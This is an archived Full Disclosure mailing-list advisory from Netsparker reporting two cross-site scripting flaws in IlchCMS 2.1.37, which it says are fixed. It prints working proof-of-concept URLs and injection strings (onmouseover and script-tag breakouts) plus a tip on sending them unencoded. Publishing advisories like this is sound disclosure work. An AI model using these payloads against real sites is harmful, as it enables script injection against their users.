lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAKD6+R5r_fb5PU1YUm7v-KMOXdyc14zf1zWU7KQWdbwacMe_OQ@mail.gmail.com>
Date: Thu, 10 Sep 2020 12:06:11 +0200
From: Daniel Bishtawi via Fulldisclosure <fulldisclosure@...lists.org>
To: fulldisclosure@...lists.org, vuln@...unia.com, bugs@...uritytracker.com, 
 submissions@...ketstormsecurity.org
Subject: [FD] Cross-Site Scripting Vulnerabilities in IlchCMS 2.1.37

Hello,

We are informing you about Cross-Site Scripting Vulnerabilities in IlchCMS
2.1.37.

Information
--------------------

Advisory by Netsparker
Name: Cross-Site Scripting in IlchCMS
Affected Software: IlchCMS
Affected Versions: 2.1.37
Vendor Homepage: https://www.ilch.de/
Vulnerability Type: Cross-Site Scripting
Severity: Important
Status: Fixed
CVSS Score (3.0): 7.4 (High)
Netsparker Advisory Reference: NS-20-003

Technical Details
--------------------

Cross-site Scripting in Install Page

URL:
http://localhost:8001/ilch/index.php/install/index/indexx%22%20onmouseover=alert(0x003370)%20x=%22
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: x%22+onmouseover%3dnetsparker(0x003370)+x%3d%22

Cross-site Scripting in Admin Panel

URL: http://127.0.0.1:8001/ilch/index.php/admin/?'"--></style></scRipt><scRipt>netsparker(0x0096E8)</scRipt>

Notes: For successful exploitation, payload may need to be sent without URL
encoding. Modern browsers will encode the HTML tags in the request before
it is being sent to the webserver, however it is still possible in Internet
Explorer.
Proof URL: http://127.0.0.1:8001/ilch/index.php/admin/?'"--></style></scRipt><scRipt>alert(0x0096E8)</scRipt>

Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x0096E8)</scRipt>

For more information:
https://www.netsparker.com/web-applications-advisories/ns-20-003-cross-site-scripting-in-ilchcms/

Regards,

[image: upload image]
Daniel Bishtawi | Marketing Administrator
E: daniel@...sparker.com <daniel@...sparker.com>

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ